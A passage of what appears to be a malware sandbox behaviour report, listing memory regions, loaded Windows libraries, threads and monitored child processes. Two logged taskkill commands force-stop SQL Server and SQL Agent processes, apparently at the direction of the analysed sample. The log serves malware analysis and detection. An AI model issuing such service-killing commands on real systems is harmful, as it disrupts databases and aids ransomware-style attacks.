3888 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3889 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3890 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3891 start_va = 0x440000 end_va = 0x5c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3892 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3893 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3894 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3895 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 3896 start_va = 0x80000 end_va = 0x83fff entry_point = 0x80000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 3897 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3898 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 3899 start_va = 0xb0000 end_va = 0xb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 3900 start_va = 0x210000 end_va = 0x2cffff entry_point = 0x210000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3901 start_va = 0x2f0000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 3902 start_va = 0x6f0000 end_va = 0x870fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 3903 start_va = 0x8a0000 end_va = 0x1c9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 3904 start_va = 0x1d90000 end_va = 0x1dcffff entry_point = 0x0 region_type = private name = "private_0x0000000001d90000" filename = "" Region: id = 3905 start_va = 0x1dd0000 end_va = 0x1e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 3906 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3907 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 3908 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 3909 start_va = 0x6a5b0000 end_va = 0x6a60bfff entry_point = 0x6a5d2b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 3910 start_va = 0x6a720000 end_va = 0x6a729fff entry_point = 0x6a72149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 3911 start_va = 0x1e10000 end_va = 0x1f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 3912 start_va = 0x1ff0000 end_va = 0x202ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 3913 start_va = 0x6a580000 end_va = 0x6a5a8fff entry_point = 0x6a586b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 3914 start_va = 0x1f40000 end_va = 0x1f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 3915 start_va = 0x1f90000 end_va = 0x1fcffff entry_point = 0x0 region_type = private name = "private_0x0000000001f90000" filename = "" Region: id = 3916 start_va = 0x2030000 end_va = 0x22fefff entry_point = 0x2030000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3917 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3918 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3919 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 3920 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 3921 start_va = 0x180000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 3922 start_va = 0x380000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 3923 start_va = 0x1cf0000 end_va = 0x1d2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001cf0000" filename = "" Region: id = 3924 start_va = 0x23c0000 end_va = 0x23fffff entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 3925 start_va = 0x6a710000 end_va = 0x6a71efff entry_point = 0x6a7121a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 3926 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 3927 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 3928 start_va = 0x6a4c0000 end_va = 0x6a4d7fff entry_point = 0x6a4c1335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 3929 start_va = 0x6a4e0000 end_va = 0x6a575fff entry_point = 0x6a4ff8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Thread: id = 247 os_tid = 0xa74 Thread: id = 248 os_tid = 0xa7c Thread: id = 249 os_tid = 0xa80 Thread: id = 250 os_tid = 0xa84 Thread: id = 251 os_tid = 0xa70 Process: id = "32" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x574db000" os_pid = "0xa9c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM SQL Server.exe /IM SQL Server.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3930 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3931 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3932 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3933 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3934 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3935 start_va = 0xd0000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3936 start_va = 0x1c0000 end_va = 0x1fffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3937 start_va = 0x7c0000 end_va = 0x7d5fff entry_point = 0x7c5c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 3938 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3939 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3940 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3941 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3942 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3943 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3944 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3945 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3946 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3947 start_va = 0x2b0000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 3948 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3949 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3950 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3951 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 3952 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 3953 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3954 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3955 start_va = 0x110000 end_va = 0x176fff entry_point = 0x110000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3956 start_va = 0x3e0000 end_va = 0x4dffff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 3957 start_va = 0x670000 end_va = 0x67ffff entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 3958 start_va = 0x6a520000 end_va = 0x6a60afff entry_point = 0x6a5213ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 3959 start_va = 0x6a8a0000 end_va = 0x6a8d4fff entry_point = 0x6a8a13d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 3960 start_va = 0x6a8e0000 end_va = 0x6a8eefff entry_point = 0x6a8e12a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 3961 start_va = 0x6a8f0000 end_va = 0x6a8f8fff entry_point = 0x6a8f15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 3962 start_va = 0x6a900000 end_va = 0x6a910fff entry_point = 0x6a901300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 3963 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 3964 start_va = 0x73e30000 end_va = 0x73e3cfff entry_point = 0x73e311e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 3965 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 3966 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 3967 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 3968 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3969 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3970 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3971 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3972 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3973 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3974 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3975 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 3976 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3977 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3978 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3979 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3980 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3981 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3982 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3983 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3984 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3985 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3986 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3987 start_va = 0x4e0000 end_va = 0x667fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 3988 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3989 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3990 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3991 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 3992 start_va = 0x80000 end_va = 0x83fff entry_point = 0x80000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 3993 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3994 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 3995 start_va = 0xb0000 end_va = 0xb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 3996 start_va = 0x210000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 3997 start_va = 0x680000 end_va = 0x73ffff entry_point = 0x680000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3998 start_va = 0x780000 end_va = 0x7bffff entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 3999 start_va = 0x7e0000 end_va = 0x960fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 4000 start_va = 0x970000 end_va = 0x1d6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 4001 start_va = 0x1d90000 end_va = 0x1dcffff entry_point = 0x0 region_type = private name = "private_0x0000000001d90000" filename = "" Region: id = 4002 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 4003 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 4004 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 4005 start_va = 0x6a830000 end_va = 0x6a88bfff entry_point = 0x6a852b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 4006 start_va = 0x6a890000 end_va = 0x6a899fff entry_point = 0x6a89149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 4007 start_va = 0x1dd0000 end_va = 0x1ecffff entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 4008 start_va = 0x1ed0000 end_va = 0x1f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 4009 start_va = 0x6a800000 end_va = 0x6a828fff entry_point = 0x6a806b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Thread: id = 252 os_tid = 0xa48 Thread: id = 253 os_tid = 0xa54 Process: id = "33" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x57f20000" os_pid = "0xa44" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4010 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4011 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4012 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4013 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 4014 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 4015 start_va = 0x170000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 4016 start_va = 0x200000 end_va = 0x23ffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4017 start_va = 0x590000 end_va = 0x5a5fff entry_point = 0x595c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 4018 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4019 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4020 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 4021 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 4022 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 4023 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 4024 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4025 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4026 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4027 start_va = 0x3c0000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 4028 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4029 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4030 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4031 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 4032 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 4033 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4034 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 4035 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4036 start_va = 0xf0000 end_va = 0xfffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 4037 start_va = 0x730000 end_va = 